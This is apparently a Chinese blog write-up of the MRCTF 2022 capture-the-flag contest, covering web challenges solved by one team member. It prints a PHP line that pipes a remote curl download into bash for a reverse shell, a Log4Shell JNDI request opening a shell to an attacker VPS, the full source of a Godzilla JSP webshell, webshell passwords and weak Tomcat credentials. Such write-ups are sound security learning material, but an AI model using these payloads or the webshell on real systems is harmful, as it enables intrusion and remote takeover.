引言

MRCTF 2022

2022.4.23-4.24

https://mrctf.fun

今年的 MRCTF 由个人赛变成了团队赛,于是在四月底的一个周末,NanoApe 拉了喵喵,还有 GZTime 和 TonyCrane 组了个小队,一起来看了看这个比赛,玩了玩

因为我们几个主要擅长 Misc,于是起名 Never Gonna Try a Misc🎵,哈哈

由于那时候还有别的事,喵喵就随便看了看题,然而 Misc 转眼就被 Nano 给 AK 了,Orz

这篇就记录一下咱这边做题的 writeup 吧,很水(

(噢,你问我为啥现在才发出来?因为这是一篇写了一半之后放在草稿箱里长草的文章了,整理了一下发了好了……

(老咕咕咕了

Web

WebCheckIn

直接写命令弹shell,会调用 php 执行

<?php system("curl fuzz.red/sh4ll/ip:port | bash");

连上去看了下,写个🐎,发现一句话木马也有一堆

http://webshell.node3.mrctf.fun/shell/1.php pass: 1

http://webshell.node3.mrctf.fun/shell/miaomiao.php pass: cmd

进去发现已经被人提权了,另外 php 执行貌似就是 root

/tmp/app.py 上传后会执行,然后好像会调用个模型来判断

from flask import Flask, request
from werkzeug.utils import secure_filename   # 获取上传文件的文件名
import random
import hashlib
import shutil
import subprocess
import pickle
import pandas as pd
import os,stat
import re

UPLOAD_FOLDER = r'/tmp/upload/'   # 上传路径
ALLOWED_EXTENSIONS = set(['php'])   # 允许上传的文件类型

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER



with open('/tmp/vec-model.pkl', "rb") as file: vectorizer = pickle.load(file)
with open('/tmp/rfc-model.pkl', "rb") as file: rfc = pickle.load(file)
# vectorizer = joblib.load('vectorizer.pkl')
# rfc = joblib.load('rfc.pkl')

RD, WD, XD = 4, 2, 1
BNS = [RD, WD, XD]
MDS = [
    [stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH],
    [stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH],
    [stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH]
]


def chmod(path, mode):
    if isinstance(mode, int):
        mode = str(mode)
    if not re.match("^[0-7]{1,3}$", mode):
        raise Exception("mode does not conform to ^[0-7]{1,3}$ pattern")
    mode = "{0:0>3}".format(mode)
    mode_num = 0
    for midx, m in enumerate(mode):
        for bnidx, bn in enumerate(BNS):
            if (int(m) & bn) > 0:
                mode_num += MDS[bnidx][midx]
    os.chmod(path, mode_num)

def index_of_str(s1, s2):
    res = []
    len1 = len(s1)
    len2 = len(s2)
    if s1 == "" or s2 == "":
        return -1
    for i in range(len1 - len2 + 1):
        if s1[i] == s2[0] and s1[i:i+len2] == s2:
            res.append(i)
    return res if res else -1

def detector(each_filepath):


    print("模型成功加载")

    each_path = "/tmp/upload/test.php"
    try:
        a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE, shell=True)
        with open(each_filepath+".op", "wb") as fp:
            fp.write(a.communicate()[1])
            fp.close()
        print(each_path)
        words_operands = ""
        words_op = ""
        with open(each_filepath+".op", "r") as fp:
            tmp = fp.readlines()
            flag = 0
            idx_op = 0
            data = []
            all_data = []
            for i in range(0, len(tmp)):

                if "\n" == tmp[i]:
                    if flag == 1:
                        all_data.append(data)
                        data = []
                        flag = 0
                if flag == 1:
                    # print(each)
                    a = tmp[i][:-1]
                    each_op = a[idx_op:idx_fetch].lstrip().rstrip()
                    each_operands = a[idx_operands:].lstrip().rstrip()
                    each_return = a[idx_return:idx_operands].lstrip().rstrip()
                    data.append([each_op, each_return, each_operands, 1])
                    words_operands += each_operands + " "
                    words_op += each_op + " "

                if "---" in tmp[i]:
                    flag = 1
                    idx_op = index_of_str(tmp[i - 1], "op")[0]
                    idx_operands = index_of_str(tmp[i - 1], "operands")[0]
                    idx_fetch = index_of_str(tmp[i - 1], "fetch")[0]
                    idx_return = index_of_str(tmp[i - 1], "return")[0]

    except:
        print("can't parse")
        exit(0)

    vector = vectorizer.transform([words_op])
    print(vector.shape)
    vec = vector.toarray()

    print(vec)

    df = pd.DataFrame(vec)

    print(rfc.predict(df))
    if rfc.predict(df) == 1:
        return 1

def gen_path():
    seed = "1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz"
    sa = []
    for i in range(15):
        sa.append(random.choice(seed))
    salt = ''.join(sa)
    print(salt)  # 打印显示的随机字符
    hash = hashlib.md5()
    hash.update(salt.encode())
    md5_test = hash.hexdigest()

    return md5_test


import os


def mkdir(path):
    folder = os.path.exists(path)

    if not folder:  # 判断是否存在文件夹如果不存在则创建为文件夹
        os.makedirs(path)  # makedirs 创建文件时如果路径不存在会创建这个路径


def allowed_file(filename):   # 验证上传的文件名是否符合要求,文件名必须带点并且符合允许上传的文件类型要求,两者都满足则返回 true
    return '.' in filename and \
           filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':   # 如果是 POST 请求方式
        file = request.files['file']   # 获取上传的文件
        if file and allowed_file(file.filename):   # 如果文件存在并且符合要求则为 true
            filename = secure_filename(file.filename)   # 获取上传文件的文件名
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))   # 保存文件
            if detector('/tmp/upload/'+filename):
                return 'not allowed!'   # 返回保存成功的信息
            else :
                dir_name = gen_path()
                upload_path = "/var/www/html/"+dir_name + '/index.php'
                upload_dir = '/var/www/html/' + dir_name + '/'
                mkdir(upload_dir)
                shutil.move(os.path.join(app.config['UPLOAD_FOLDER'], filename), upload_path)
                chmod(upload_dir,555)
                return upload_path.replace("/var/www/html/","/shell/")
    # 使用 GET 方式请求页面时或是上传文件失败时返回上传文件的表单页面
    return '''
    <!doctype html>
    <title>Upload new File</title>
    <h1>Upload new File</h1>
    <form action="" method=post enctype=multipart/form-data>
      <p><input type=file name=file>
         <input type=submit value=Upload>
    </form>
    '''

os.system("service apache2 restart")
app.run("0.0.0.0",5000)

找了半天 flag 没找到在哪里

最后看了看 history,发现原来 flag 塞在 /var/log/dpkg.log 里了……

Bonous

Java_mem_shell_Filter

用户名试了试,发现 log4jshell 有戏

那就拿出 JNDIExploit 进行一波尝试吧

VPS 上用 JNDIExploit-1.2-SNAPSHOT.jar 起一个服务

发包,反弹 shell

POST /MyServlet HTTP/1.1
Host: 106.75.33.92:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://106.75.33.92:8888
Connection: close
Referer: http://106.75.33.92:8888/
Cookie: JSESSIONID=A32B79E76E5911DAEE5E2CDAE730CCB7
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

name=${jndi%3aldap%3a//VPSIP%3a1389/Basic/ReverseShell/VPSIP/PORT}&password=1

翻垃圾看到了哥斯拉木马

<%! String xc="3c6e0b8a9c15224a"; String pass="Don't touch my shell."; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

根据配置连上去

找了半天 flag 没找到,想到会不会是内存马。

最后 dump 内存,发现确实在内存里。

(还是喵喵第一次打 log4j 拿 shell 呢,呜呜咱好菜啊

P.S.:

  1. 这篇文章发的时候 fuzz.red 这个域名提供的服务已经失效了,师傅们可以找其他的来试试

  2. 做题时候使用的 @feihong-cs 大佬的项目https://github.com/feihong-cs/JNDIExploit 目前也已经 404 了

    可以用 https://github.com/WhiteHSBG/JNDIExploit 这个项目来试试,作者为了支持SpringBootExploit工具,是定制版的服务端,且新增了哥斯拉内存马,新增msf上线支持等。

Java_mem_shell_Basic

http://106.75.33.92:8080/manager/html
tomcat manager 弱密码
tomcat:tomcat

进去之后部署 war 包

flag 在木马里
/usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java

Misc

队友 NanoApe AK 了 Misc 的题目,还拿到了 6 个一血,太强啦!

详见 NanoApe 的 MRCTF2022 Writeup

小结

喵喵菜菜,三道题就水了一篇博客。

Nano 强强!!!Orz!!!


当然,官方也放出了一些题解在 https://github.com/BuptMerak/mrctf-2022-writeups

顺便扔几篇大师傅们的 wp 在这里:


(溜了溜了喵